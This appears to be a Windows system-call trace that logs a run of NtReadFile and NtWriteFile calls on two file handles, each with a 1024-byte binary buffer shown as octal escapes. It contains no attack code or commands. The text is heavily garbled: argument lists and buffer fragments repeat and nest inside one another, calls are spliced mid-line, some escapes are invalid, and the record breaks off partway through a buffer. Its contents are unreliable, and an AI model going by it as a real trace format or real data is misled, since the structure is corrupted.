+/}Fi\324\20\245\27\210\312#\357\330#?\23\254==\236\265L\2758Wp\205JG\244>N\17I\34{h\13eH\221\341\23\266\275\205'\274f\4[(\375X\377\17K\12%~\37p\361H"\333\362\367\27\3369({;M\36~f\331\352\243A\257\263\266\332\32:qP\36T\24\230, ) \244\257\376\341l\15j+\274,\306\307\3273r;\363X]RU__L\17}N\14y+\35\30\17&CbBW@zJXh,(-\351@\177QEZ31X8D\370z\253+\214EQH>x\F\17mHAQK\365\356S\217\351Wo#\35hYY\221j\276z,\326+\22)\32\211s\237?\21[>\15\37\13\310c\240 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "F2:\264qXh\261\364\364\326!\216}\215\16\276\272s\343\15Z\345\202\215\3749{j\2060.\3\273\361\333\2527c6=\377ee\277\3716pz\23@\6\237\232\241(#%\345>w\204\301S+\226\217$'\222;\370S\14f\226\7\25m6illc?:T\34\366\305+\21\20\302$\11\25\263y\301\247\223,>\310\321\317\262\366'\2715z\23\30\321\227\321\302\302>o\220\322\365J\364\336\336#"\244\257\376\341l\15j+\274,\306\307\3273r;\363X]RU__L\17}N\14y+\35\30\17&CbBW@zJXh,(-\351@\177QEZ31X8D\370z\253+\214EQH>x\F\17mHAQK\365\356S\217\351Wo#\35hYY\221j\276z,\326+\22)\32\211s\237?\21[>\15\37\13\310c\240"g\244'%\300\34U\253-\254\235\317A\364\201\321F\252\377>)\11\20\247\262\370\32\264\336\31\374\310K\4\313\36f&}\243\342\302\210L+\260(-\16\3229\273},\276>d\20\260\312\237\177\21\267y[0\226U+\251o"\200\14%\257I\20\240Dk\247n.\23\13\374\273u\10@87\1W\26N5\6\373J\33\31\224p/\313'\251p`\25\257\307\214\255\16g|)q\177\2630\332P%T\235\273\34\11z3l\234\241\375m\\37NN\310C\2\343\2449&\252\274\15\351+/}Fi\324\20\245\27\210\312#\357\330#?\23\254==\236\265L\2758Wp\205JG\244>N\17I\34{h\13eH\221\341\23\266\275\205'\274f\4[(\375X\377\17K\12%~\37p\361H"\333\362\367\27\3369({;M\36~f\331\352\243A\257\263\266\332\32:qP\36T\24\230, ) \200\14%\257I\20\240Dk\247n.\23\13\374\273u\10@87\1W\26N5\6\373J\33\31\224p/\313'\251p`\25\257\307\214\255\16g|)q\177\2630\332P%T\235\273\34\11z3l\234\241\375m\\37NN\310C\2\343\2449&\252\274\15\351+/}Fi\324\20\245\27\210\312#\357\330#?\23\254==\236\265L\2758Wp\205JG\244>N\17I\34{h\13eH\221\341\23\266\275\205'\274f\4[(\375X\377\17K\12%~\37p\361H (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "F2:\264qXh\261\364\364\326!\216}\215\16\276\272s\343\15Z\345\202\215\3749{j\2060.\3\273\361\333\2527c6=\377ee\277\3716pz\23@\6\237\232\241(#%\345>w\204\301S+\226\217$'\222;\370S\14f\226\7\25m6illc?:T\34\366\305+\21\20\302$\11\25\263y\301\247\223,>\310\321\317\262\366'\2715z\23\30\321\227\321\302\302>o\220\322\365J\364\336\336#"\244\257\376\341l\15j+\274,\306\307\3273r;\363X]RU__L\17}N\14y+\35\30\17&CbBW@zJXh,(-\351@\177QEZ31X8D\370z\253+\214EQH>x\F\17mHAQK\365\356S\217\351Wo#\35hYY\221j\276z,\326+\22)\32\211s\237?\21[>\15\37\13\310c\240"g\244'%\300\34U\253-\254\235\317A\364\201\321F\252\377>)\11\20\247\262\370\32\264\336\31\374\310K\4\313\36f&}\243\342\302\210L+\260(-\16\3229\273},\276>d\20\260\312\237\177\21\267y[0\226U+\251o"\200\14%\257I\20\240Dk\247n.\23\13\374\273u\10@87\1W\26N5\6\373J\33\31\224p/\313'\251p`\25\257\307\214\255\16g|)q\177\2630\332P%T\235\273\34\11z3l\234\241\375m\\37NN\310C\2\343\2449&\252\274\15\351+/}Fi\324\20\245\27\210\312#\357\330#?\23\254==\236\265L\2758Wp\205JG\244>N\17I\34{h\13eH\221\341\23\266\275\205'\274f\4[(\375X\377\17K\12%~\37p\361H"\333\362\367\27\3369({;M\36~f\331\352\243A\257\263\266\332\32:qP\36T\24\230, ) , ) == 0x0
 01305  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\355\710k\204EA\373\1\316E\322\237r\307K+T`h=\20c\265\271\346\13\31\322\260\225\365R6>\340\217\230\303\303?\237\265\276\247\265\227\240B\31e\26\36\371Q\314B\376\15y\235E\2551ac\266u\261u\207\21cI\241[5\241\373\276\366\303\233\221$\0\267\10\376\252\333we\344\200\267\22\34\334\235\370z\35\206d\374\2310\337\226}\301\250`1Vx\303\301\340_\3632\251\303\\322\353\252,KL,#`J\334\243\30\326"r\357\332\207\375\220\306\323\377\336\275;\306\370\276>)\377\336\341\237{\256\3754\369\212\314'vL\252\325\343Xz\25\231a\304\11\344\351\206\253X\214\\244\177r\224\251\232\205\354?\211\353\26\201\260|\253\271\241&\214}\30,\302\227\232\333\231V%\200\217.\243\226\10\326\234f\313|\351\240\337\326`8\336]\272\\257?\374\211\264\235"G\26uc\206dU\274(\224F3\333>\5\325Y\236w\232\322\226\360.n\217\240'fN\251,\247\376\325\12\314d\220\346\202\33\320\265"W\231=U/\234\310\2\273\355\377\300\326?\21\217\221\245\224\232\305d;", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) r\357\332\207\375\220\306\323\377\336\275;\306\370\276>)\377\336\341\237{\256\3754\369\212\314'vL\252\325\343Xz\25\231a\304\11\344\351\206\253X\214\\244\177r\224\251\232\205\354?\211\353\26\201\260|\253\271\241&\214}\30,\302\227\232\333\231V%\200\217.\243\226\10\326\234f\313|\351\240\337\326`8\336]\272\\257?\374\211\264\235 (92, 0, 0, 0, "\355\710k\204EA\373\1\316E\322\237r\307K+T`h=\20c\265\271\346\13\31\322\260\225\365R6>\340\217\230\303\303?\237\265\276\247\265\227\240B\31e\26\36\371Q\314B\376\15y\235E\2551ac\266u\261u\207\21cI\241[5\241\373\276\366\303\233\221$\0\267\10\376\252\333we\344\200\267\22\34\334\235\370z\35\206d\374\2310\337\226}\301\250`1Vx\303\301\340_\3632\251\303\\322\353\252,KL,#`J\334\243\30\326"r\357\332\207\375\220\306\323\377\336\275;\306\370\276>)\377\336\341\237{\256\3754\369\212\314'vL\252\325\343Xz\25\231a\304\11\344\351\206\253X\214\\244\177r\224\251\232\205\354?\211\353\26\201\260|\253\271\241&\214}\30,\302\227\232\333\231V%\200\217.\243\226\10\326\234f\313|\351\240\337\326`8\336]\272\\257?\374\211\264\235"G\26uc\206dU\274(\224F3\333>\5\325Y\236w\232\322\226\360.n\217\240'fN\251,\247\376\325\12\314d\220\346\202\33\320\265"W\231=U/\234\310\2\273\355\377\300\326?\21\217\221\245\224\232\305d;", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) W\231=U/\234\310\2\273\355\377\300\326?\21\217\221\245\224\232\305d;", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01306  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\317\226\245\30*\4\234\31.2\331\230\35\3028K\372/\377\3302'i8\2278\271\375\27f&\32+\314\331g\17\311)[/%\305\370\14\360 @#\224\3423?J)y<\16E\326.\261\13\24\366\34\2136\321#\377\305'\301\7\206\252*\334\2\341\25641\2%\377\325s\330.\2\316-0\325\37\234\361\12\3651\22\310' 4\33#1\257&\301)!; \306u\261?\203\24#9\336~<;\177,\5w\326=u\234BH\224\357\311\313\261\255%!` i\23d\244\356.\3251\275l\264Imn}f\257\23\235\227\276o\363\264\304\37\37!\3450B+\325\27\317\272\271\2524,|\247\201\0\367\17\214\26\235\24\332\233\33+\372\270\375\317U\273\34\31\21\233\17a\vuN\256\317\242s*>,,*lO\264\3022d\305Z\5\343\321\221\373|\35\265\327\363/x\354s4\311\2644T'v\224p)ns|\335W\11\210\21+\303E\25\211\25K\272\375\6\346\0\30\1#"W \275\36\225\34'\33\16\31\275\27))\33/-/s02%\3\25\5X\7@\11\205\13\341\15\321\179-_/}\21\243\23\251\25\203\27\213\31\227\33\357\35\34\34\375\2A\1\267\7\254\5\250\315y8\3525\303\3476+\235w\376!E\366=m2rf?{\241\203\342\352\252\16'2b$\200\3177\246x4\211?V}m\361\223_\4\260\211\300 \3*\245?\07!\5\225-\6yI\251^$z-\317\20\323%\2702\276~3\2639~\12\16>\360o\220\15\330\376\15.\1T\250`\27c\36\312;\355\352j\13=\256C\211\13\2034I\233h:\31", ) W \275\36\225\34'\33\16\31\275\27))\33/-/s02%\3\25\5X\7@\11\205\13\341\15\321\179-_/}\21\243\23\251\25\203\27\213\31\227\33\357\35\34\34\375\2A\1\267\7\254\5\250\315y8\3525\303\3476+\235w\376!E\366=m2rf?{\241\203\342\352\252\16'2b$\200\3177\246x4\211?V}m\361\223_\4\260\211\300 \3*\245307)i\2702N\251\277z5\331\323\243\276UB\360\370?\312db\215?}\34\36\32\1>?\07!\5\225-\6yI\251^$z-\317\20\323%\2702\276~3\2639~\12\16>\360o\220\15\330\376\15.\1T\250`\27c\36\312;\355\352j\13=\256C\211\13\2034I\233h:\31", ) == 0x0
 01307  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\20\257g\260\37\23\302\354\23\354Q6T\374\252\276RI;\260\22\320\257\213\252\276\200To\363\3765\2433x\206\323\205\242\247\226;N\343\210\256^\234\11j@w\312\344\4\234\4HF\312\227\311c\367\277\23P3\350X\221~k\346vy_\277\3240\311\255\0X1\127B\231\22\26\252\320IRT2\31\324zr4\344V*a\27\211Lc^D\306N\367\336\314\2253Rg\272"g\213\341\340\34\325\224\366\330\361A\312\317\35H\266}\224%jx\346\35t5\364\257Z<@\254z\340i:\371@cnRV\332\250/Hw7\3704\253\363^\17\320\221Y\201\23v\250\201a\250(\327\377\316\330`.\300c\237*\22*\263\211$\307\335\257\336P\352\326U/Q6t\200^7\275\346\27\321\305\2253{\210t\366S\354\1\204c\271\236\352\307*\213A;\350\11\205\272\305Q\36\362\267\266\26QQ0\343zZ\235\217\3104\4\234\234\3056\2100`V=\240\3\341\307\314{\276\26\215I\14\2\207\310K\324\249\263\360\357\243dKLZ\225\346&\35E\22q\33rA\223\372\331`XhY\331\331\224\345l\342\202@\265\7\6\350xy\363\11\34\3358\364=\211~\3011\22\375N\347L\210\207\353\311\370{\355Y\315R\232B^\367\35,\203\233s\177\345\21F\23\266\302\34\345/\237\347\217k\202\345\275e\203\370k\177\201\2\11i\26Z9\352Y\335\37h\276p\217\325\224(\363\221e\33h\360\302}\372\2079\3404\303H\17\344h\234\375"\112\361a\244z\235\207\364n\17IBiM\33382\327=\307Wt\10RN\315\261\377\205\210\251\365\201\273`\314\36b\20gN+u\211iF\33\323;@u-F\343\331?\250\324\27'q2C\250x\30\11@R\7\265\36", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) g\213\341\340\34\325\224\366\330\361A\312\317\35H\266}\224%jx\346\35t5\364\257Z<@\254z\340i:\371@cnRV\332\250/Hw7\3704\253\363^\17\320\221Y\201\23v\250\201a\250(\327\377\316\330`.\300c\237*\22*\263\211$\307\335\257\336P\352\326U/Q6t\200^7\275\346\27\321\305\2253{\210t\366S\354\1\204c\271\236\352\307*\213A;\350\11\205\272\305Q\36\362\267\266\26QQ0\343zZ\235\217\3104\4\234\234\3056\2100`V=\240\3\341\307\314{\276\26\215I\14\2\207\310K\324\249\263\360\357\243dKLZ\225\346&\35E\22q\33rA\223\372\331`XhY\331\331\224\345l\342\202@\265\7\6\350xy\363\11\34\3358\364=\211~\3011\22\375N\347L\210\207\353\311\370{\355Y\315R\232B^\367\35,\203\233s\177\345\21F\23\266\302\34\345/\237\347\217k\202\345\275e\203\370k\177\201\2\11i\26Z9\352Y\335\37h\276p\217\325\224(\363\221e\33h\360\302}\372\2079\3404\303H\17\344h\234\375 (92, 0, 0, 0, "\20\257g\260\37\23\302\354\23\354Q6T\374\252\276RI;\260\22\320\257\213\252\276\200To\363\3765\2433x\206\323\205\242\247\226;N\343\210\256^\234\11j@w\312\344\4\234\4HF\312\227\311c\367\277\23P3\350X\221~k\346vy_\277\3240\311\255\0X1\127B\231\22\26\252\320IRT2\31\324zr4\344V*a\27\211Lc^D\306N\367\336\314\2253Rg\272"g\213\341\340\34\325\224\366\330\361A\312\317\35H\266}\224%jx\346\35t5\364\257Z<@\254z\340i:\371@cnRV\332\250/Hw7\3704\253\363^\17\320\221Y\201\23v\250\201a\250(\327\377\316\330`.\300c\237*\22*\263\211$\307\335\257\336P\352\326U/Q6t\200^7\275\346\27\321\305\2253{\210t\366S\354\1\204c\271\236\352\307*\213A;\350\11\205\272\305Q\36\362\267\266\26QQ0\343zZ\235\217\3104\4\234\234\3056\2100`V=\240\3\341\307\314{\276\26\215I\14\2\207\310K\324\249\263\360\357\243dKLZ\225\346&\35E\22q\33rA\223\372\331`XhY\331\331\224\345l\342\202@\265\7\6\350xy\363\11\34\3358\364=\211~\3011\22\375N\347L\210\207\353\311\370{\355Y\315R\232B^\367\35,\203\233s\177\345\21F\23\266\302\34\345/\237\347\217k\202\345\275e\203\370k\177\201\2\11i\26Z9\352Y\335\37h\276p\217\325\224(\363\221e\33h\360\302}\372\2079\3404\303H\17\344h\234\375"\112\361a\244z\235\207\364n\17IBiM\33382\327=\307Wt\10RN\315\261\377\205\210\251\365\201\273`\314\36b\20gN+u\211iF\33\323;@u-F\343\331?\250\324\27'q2C\250x\30\11@R\7\265\36", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01308  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "+\232\231\211\310g%\342\262$>.%\276\15j\245n(\5\272e\260& \236!\252\252,\270\326+0<>=\33\12.\327\225\4\247.\243\344\246\376\330\10\254\352$\250". Z\21\233\263W\21a\367'\305x\274\310}?\36\33y1v\373\35!7r\333E\361\244\354=\243\253\262\354%\317 021\217\364\226C\34-+\370;W>>Z\24\25\227\31%\3406\323$\27\346\337(\326\5\12#-!/?1=3;597\30\33\374\27\34\275\377\235\2578!\216\37 -zt\257\314"R\250\10!;6Y\232\13\4\2212\3\224$\326\273:\251\233+y\305\265w\373\0Y7\341 .",$\332)'')%+#-!/?193\364\306\2058:i\276\365U\276\35t\341\247\267Yq",\261\265\345\317\237\367*\37\177~\372\42.\221\\36655\264\374-\37\233\23f\337c\27\231\177E\22\240\6>QZ\344 ux\177\325\179)N)\273,\363=b\312\314\344h~\26\353;\15#\336\37\2140\337\2\3151&c\265v4#1\210\35\372\253\254\254\347(ac#057\27<\3719\302\354.\277\373\232/ML[H\211\2433q\315@\7\2\252~\3578\215&\257\30[Y\263<\334\0@\370W=\6\210\375=:&\312\33\213\36\35\21*\36\16$\33')\3115F\16\16\236H9\22\21-4?\25\24^\342\272\35\232\264*<\335\10TYV\0\23j\3v@\206\252Du\211\200%Ku\2572\2617p[\325\260w\7M\222IUV\2770\35=\32\378'\11NOQd\234\7J8EY\254F]sxXVWT\360\266\21\30}[U[2\272\257\233\1].$\323.\246\245d@\330w\327~^^,x", ) . Z\21\233\263W\21a\367'\305x\274\310}?\36\33y1v\373\35!7r\333E\361\244\354=\243\253\262\354%\317 021\217\364\226C\34-+\370;W>>Z\24\25\227\31%\3406\323$\27\346\337(\326\5\12#-!/?1=3;597\30\33\374\27\34\275\377\235\2578!\216\37 -zt\257\314 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "+\232\231\211\310g%\342\262$>.%\276\15j\245n(\5\272e\260& \236!\252\252,\270\326+0<>=\33\12.\327\225\4\247.\243\344\246\376\330\10\254\352$\250". Z\21\233\263W\21a\367'\305x\274\310}?\36\33y1v\373\35!7r\333E\361\244\354=\243\253\262\354%\317 021\217\364\226C\34-+\370;W>>Z\24\25\227\31%\3406\323$\27\346\337(\326\5\12#-!/?1=3;597\30\33\374\27\34\275\377\235\2578!\216\37 -zt\257\314"R\250\10!;6Y\232\13\4\2212\3\224$\326\273:\251\233+y\305\265w\373\0Y7\341 .",$\332)'')%+#-!/?193\364\306\2058:i\276\365U\276\35t\341\247\267Yq",\261\265\345\317\237\367*\37\177~\372\42.\221\\36655\264\374-\37\233\23f\337c\27\231\177E\22\240\6>QZ\344 ux\177\325\179)N)\273,\363=b\312\314\344h~\26\353;\15#\336\37\2140\337\2\3151&c\265v4#1\210\35\372\253\254\254\347(ac#057\27<\3719\302\354.\277\373\232/ML[H\211\2433q\315@\7\2\252~\3578\215&\257\30[Y\263<\334\0@\370W=\6\210\375=:&\312\33\213\36\35\21*\36\16$\33')\3115F\16\16\236H9\22\21-4?\25\24^\342\272\35\232\264*<\335\10TYV\0\23j\3v@\206\252Du\211\200%Ku\2572\2617p[\325\260w\7M\222IUV\2770\35=\32\378'\11NOQd\234\7J8EY\254F]sxXVWT\360\266\21\30}[U[2\272\257\233\1].$\323.\246\245d@\330w\327~^^,x", ) ,$\332)'')%+#-!/?193\364\306\2058:i\276\365U\276\35t\341\247\267Yq (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "+\232\231\211\310g%\342\262$>.%\276\15j\245n(\5\272e\260& \236!\252\252,\270\326+0<>=\33\12.\327\225\4\247.\243\344\246\376\330\10\254\352$\250". Z\21\233\263W\21a\367'\305x\274\310}?\36\33y1v\373\35!7r\333E\361\244\354=\243\253\262\354%\317 021\217\364\226C\34-+\370;W>>Z\24\25\227\31%\3406\323$\27\346\337(\326\5\12#-!/?1=3;597\30\33\374\27\34\275\377\235\2578!\216\37 -zt\257\314"R\250\10!;6Y\232\13\4\2212\3\224$\326\273:\251\233+y\305\265w\373\0Y7\341 .",$\332)'')%+#-!/?193\364\306\2058:i\276\365U\276\35t\341\247\267Yq",\261\265\345\317\237\367*\37\177~\372\42.\221\\36655\264\374-\37\233\23f\337c\27\231\177E\22\240\6>QZ\344 ux\177\325\179)N)\273,\363=b\312\314\344h~\26\353;\15#\336\37\2140\337\2\3151&c\265v4#1\210\35\372\253\254\254\347(ac#057\27<\3719\302\354.\277\373\232/ML[H\211\2433q\315@\7\2\252~\3578\215&\257\30[Y\263<\334\0@\370W=\6\210\375=:&\312\33\213\36\35\21*\36\16$\33')\3115F\16\16\236H9\22\21-4?\25\24^\342\272\35\232\264*<\335\10TYV\0\23j\3v@\206\252Du\211\200%Ku\2572\2617p[\325\260w\7M\222IUV\2770\35=\32\378'\11NOQd\234\7J8EY\254F]sxXVWT\360\266\21\30}[U[2\272\257\233\1].$\323.\246\245d@\330w\327~^^,x", ) , ) == 0x0
 01309  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "c\250\16\223\375A\351=\370\331\372\204$\211\226\14a2U-\363eQgZ \37\276\11C`\30\231\14tk\356UUk\315x\241K\363\251K\225\351\25661\342\211Te)Z%\271s\303\373\277\2\303\2<\212\325K\362\322\262e\0\23F\215\226\371GS\312\363`\251\12\230w<\346\210#\226r\2O\232\267{\376s\276\323\35\354h\270+\321`H\273\322\37[\207\2613\333u\301\231\24\260\253\201\363\33\33\277\346==\360w\224\377Im\220\354\31\300\277\207x\35\264\226\3\253b\273D)\35X\326\0z\350\247s\302+\352\252\312\206SL\344\237\231\3004\367Mw\301\303C^\31\325\243[g\11`+Kk\261\0\24\267\335\352/\256~\321\300\370*\210U\365k\366\341\33\227QA\266\7\10\250\347J8\302\243DJ\206\254;$\322\2350o-d\377\247\20\31\252\312^Y\261\343\261\332J^\33v\377#\316\12\240\332c]\301I\252L\303\241\365\363\201\237\253-,\366\0bG\341\177\230?\216\6*\217\12Q[\312\14"\2412\322#\314\323z\342oB\2149\226\366\332\243\221]eI\235\244\233\340\230e: \3152\352\362\345\364\11\204S\320\6Q\330j'\327\220\2524l\210\276\260E\231$\5\4r\10r\35&\234\17\316\233\303O\2637_\227-\30i\351\311\314\267\27\304bN\303\10\255\273\10\360N\215\360V\363\2C\365.=z{\273\6\326\213\275\216\235\27\332\350?\356\323{P\277\2304\247[\326\243\6\246\336\13\0\356\323K\24"N\344\314\236\350\240r\336 \334\203\14\343\22!\237y)n\336\207\240\312\300L\20\301\316kS\234\22\324\266\360\34\10\17S.@\266]Q\244\322\3hY\225F\265J\340\225u`2`Q\30z\302\237\373\217\235\304c\362\233\256", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \2412\322#\314\323z\342oB\2149\226\366\332\243\221]eI\235\244\233\340\230e: \3152\352\362\345\364\11\204S\320\6Q\330j'\327\220\2524l\210\276\260E\231$\5\4r\10r\35&\234\17\316\233\303O\2637_\227-\30i\351\311\314\267\27\304bN\303\10\255\273\10\360N\215\360V\363\2C\365.=z{\273\6\326\213\275\216\235\27\332\350?\356\323{P\277\2304\247[\326\243\6\246\336\13\0\356\323K\24 (92, 0, 0, 0, "c\250\16\223\375A\351=\370\331\372\204$\211\226\14a2U-\363eQgZ \37\276\11C`\30\231\14tk\356UUk\315x\241K\363\251K\225\351\25661\342\211Te)Z%\271s\303\373\277\2\303\2<\212\325K\362\322\262e\0\23F\215\226\371GS\312\363`\251\12\230w<\346\210#\226r\2O\232\267{\376s\276\323\35\354h\270+\321`H\273\322\37[\207\2613\333u\301\231\24\260\253\201\363\33\33\277\346==\360w\224\377Im\220\354\31\300\277\207x\35\264\226\3\253b\273D)\35X\326\0z\350\247s\302+\352\252\312\206SL\344\237\231\3004\367Mw\301\303C^\31\325\243[g\11`+Kk\261\0\24\267\335\352/\256~\321\300\370*\210U\365k\366\341\33\227QA\266\7\10\250\347J8\302\243DJ\206\254;$\322\2350o-d\377\247\20\31\252\312^Y\261\343\261\332J^\33v\377#\316\12\240\332c]\301I\252L\303\241\365\363\201\237\253-,\366\0bG\341\177\230?\216\6*\217\12Q[\312\14"\2412\322#\314\323z\342oB\2149\226\366\332\243\221]eI\235\244\233\340\230e: \3152\352\362\345\364\11\204S\320\6Q\330j'\327\220\2524l\210\276\260E\231$\5\4r\10r\35&\234\17\316\233\303O\2637_\227-\30i\351\311\314\267\27\304bN\303\10\255\273\10\360N\215\360V\363\2C\365.=z{\273\6\326\213\275\216\235\27\332\350?\356\323{P\277\2304\247[\326\243\6\246\336\13\0\356\323K\24"N\344\314\236\350\240r\336 \334\203\14\343\22!\237y)n\336\207\240\312\300L\20\301\316kS\234\22\324\266\360\34\10\17S.@\266]Q\244\322\3hY\225F\265J\340\225u`2`Q\30z\302\237\373\217\235\304c\362\233\256", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01310  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\14e\336\233{S\224`2;j\33\33\30\226\37I\23\350\251\21$\36\340y'\275\353\241\355}\177\267\330\313f\361\2625/Ohy~:=\25l\300\16\354\306\34\36!\241)X\247\341*\34\353\\240\12\254/E/>Ibbt4>\7\320\313\373Uh\31\22o\223N\365\227\376\242\3463$-\6@x\301W\12\14/6\17\14`\263#\230\335\3146\16\30*+\36-\22?\36H\366\27}&7\241\34(\304"+\204\301\352kC\355\364\234\321\10>j:BI"79\267^\361\376,\215\1R\10\37wp\311\321\241u!\331&\333(Z),,R/3c\2\263\4\235\7\346\11\311\13g\16X\14L)\256/\226,\267\22\4\27\17\21\30\23g\34\231\36\377\30\312\32C\7\212\5\347\3\7\0g\16\311\14"\5\24\7P$z&\237\303\334\35w\37\2\21\5\23\231\25-\343\26\320\10\25\11L\176\243\2\207\04\7f\5=l,\26\336\37"\251" $F\25\227\33 \36d\30-\210\33\215\5\366\7\330\164\15,\17\10\11\3\13?\265)\335+\314\25\335\27#9z\241\3756\362o\6,~\256Bg\273\264\263\2\2706I)\275\372\260z\6\263?E:M\225\320T,\312!P\245\253w@\355xo,\215/\304;\331Uq7\251w4\250\262\361\323u=\15\265\225\234(\32\225\266\341\33)\45%\17>\16\360*,=n^tA2\17D9\25+\223='\331H\5[\31Il\31F\336!\212\250\324v%]\231(|{,G\321\320\345\264\304E1\25\265\311\307L\231XJj\301\241\315L\34oi\212\2003\253`\22\331'k\22\363$\240U\321\3200\316\267\305;\261\2617;1o\323\241\3306J\CC>\224\343|", ) +\204\301\352kC\355\364\234\321\10>j:BI (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\14e\336\233{S\224`2;j\33\33\30\226\37I\23\350\251\21$\36\340y'\275\353\241\355}\177\267\330\313f\361\2625/Ohy~:=\25l\300\16\354\306\34\36!\241)X\247\341*\34\353\\240\12\254/E/>Ibbt4>\7\320\313\373Uh\31\22o\223N\365\227\376\242\3463$-\6@x\301W\12\14/6\17\14`\263#\230\335\3146\16\30*+\36-\22?\36H\366\27}&7\241\34(\304"+\204\301\352kC\355\364\234\321\10>j:BI"79\267^\361\376,\215\1R\10\37wp\311\321\241u!\331&\333(Z),,R/3c\2\263\4\235\7\346\11\311\13g\16X\14L)\256/\226,\267\22\4\27\17\21\30\23g\34\231\36\377\30\312\32C\7\212\5\347\3\7\0g\16\311\14"\5\24\7P$z&\237\303\334\35w\37\2\21\5\23\231\25-\343\26\320\10\25\11L\176\243\2\207\04\7f\5=l,\26\336\37"\251" $F\25\227\33 \36d\30-\210\33\215\5\366\7\330\164\15,\17\10\11\3\13?\265)\335+\314\25\335\27#9z\241\3756\362o\6,~\256Bg\273\264\263\2\2706I)\275\372\260z\6\263?E:M\225\320T,\312!P\245\253w@\355xo,\215/\304;\331Uq7\251w4\250\262\361\323u=\15\265\225\234(\32\225\266\341\33)\45%\17>\16\360*,=n^tA2\17D9\25+\223='\331H\5[\31Il\31F\336!\212\250\324v%]\231(|{,G\321\320\345\264\304E1\25\265\311\307L\231XJj\301\241\315L\34oi\212\2003\253`\22\331'k\22\363$\240U\321\3200\316\267\305;\261\2617;1o\323\241\3306J\CC>\224\343|", ) \5\24\7P$z&\237\303\334\35w\37\2\21\5\23\231\25-\343\26\320\10\25\11L\176\243\2\207\04\7f\5=l,\26\336\37 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\14e\336\233{S\224`2;j\33\33\30\226\37I\23\350\251\21$\36\340y'\275\353\241\355}\177\267\330\313f\361\2625/Ohy~:=\25l\300\16\354\306\34\36!\241)X\247\341*\34\353\\240\12\254/E/>Ibbt4>\7\320\313\373Uh\31\22o\223N\365\227\376\242\3463$-\6@x\301W\12\14/6\17\14`\263#\230\335\3146\16\30*+\36-\22?\36H\366\27}&7\241\34(\304"+\204\301\352kC\355\364\234\321\10>j:BI"79\267^\361\376,\215\1R\10\37wp\311\321\241u!\331&\333(Z),,R/3c\2\263\4\235\7\346\11\311\13g\16X\14L)\256/\226,\267\22\4\27\17\21\30\23g\34\231\36\377\30\312\32C\7\212\5\347\3\7\0g\16\311\14"\5\24\7P$z&\237\303\334\35w\37\2\21\5\23\231\25-\343\26\320\10\25\11L\176\243\2\207\04\7f\5=l,\26\336\37"\251" $F\25\227\33 \36d\30-\210\33\215\5\366\7\330\164\15,\17\10\11\3\13?\265)\335+\314\25\335\27#9z\241\3756\362o\6,~\256Bg\273\264\263\2\2706I)\275\372\260z\6\263?E:M\225\320T,\312!P\245\253w@\355xo,\215/\304;\331Uq7\251w4\250\262\361\323u=\15\265\225\234(\32\225\266\341\33)\45%\17>\16\360*,=n^tA2\17D9\25+\223='\331H\5[\31Il\31F\336!\212\250\324v%]\231(|{,G\321\320\345\264\304E1\25\265\311\307L\231XJj\301\241\315L\34oi\212\2003\253`\22\331'k\22\363$\240U\321\3200\316\267\305;\261\2617;1o\323\241\3306J\CC>\224\343|", )  $F\25\227\33 \36d\30-\210\33\215\5\366\7\330\164\15,\17\10\11\3\13?\265)\335+\314\25\335\27#9z\241\3756\362o\6,~\256Bg\273\264\263\2\2706I)\275\372\260z\6\263?E:M\225\320T,\312!P\245\253w@\355xo,\215/\304;\331Uq7\251w4\250\262\361\323u=\15\265\225\234(\32\225\266\341\33)\45%\17>\16\360*,=n^tA2\17D9\25+\223='\331H\5[\31Il\31F\336!\212\250\324v%]\231(|{,G\321\320\345\264\304E1\25\265\311\307L\231XJj\301\241\315L\34oi\212\2003\253`\22\331'k\22\363$\240U\321\3200\316\267\305;\261\2617;1o\323\241\3306J\CC>\224\343|", ) == 0x0
 01311  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\301\11\221\215\240\360~\211\200q\312\365\315\177\302\353\151yx\367\14j\276E\212:\274&\34\214?37\315\275\220\34\274\14\206\210\250-\320\27\231\33\351X\313\37\232\315\20\15!%\311z6\204\240a\231\26\300\335\350\325\357x\233\330~K\333\271H`l\216\3Q\11k\0]\306U\177\275\37:\32\315b\367\267=\0\263\274\323X\34\337\215\3\240'\226}\14\\374\235\226\215\365\321`s\342\225\336U\274\27Vaz\215<\10\370Mc\222Pm\304p\361^75{\227G}\264\5\7wo\5\220o\374\360\331\233\264ovw\1T\226\333\304x>\245\264\242>\224\230e\322.`|\311DJP8P\301d\346\33\270\357wF\332j\304\254\366\275\307)\202\327\205\36\331z\372\261\255\345\264j<\304G\232X\355i\333\307\274\375\2\207P\275^a\31\3517\323Q\332\373\232\252x\241\2065\201\213n\246\271\314\26\24\310"\234P\352~\223\203\324\3x{\201\306Z\220\321wNz\27cZ-\301\352\374'\334\242\16\314}Fd\0%\236.[:\305\254Vd\240n\206\237m\356i\210\300\356\20;\262\220\377\320\300\237$+\234\355\H\303\16\231O3-\212\\3476\32\376w\374\376/\331\17\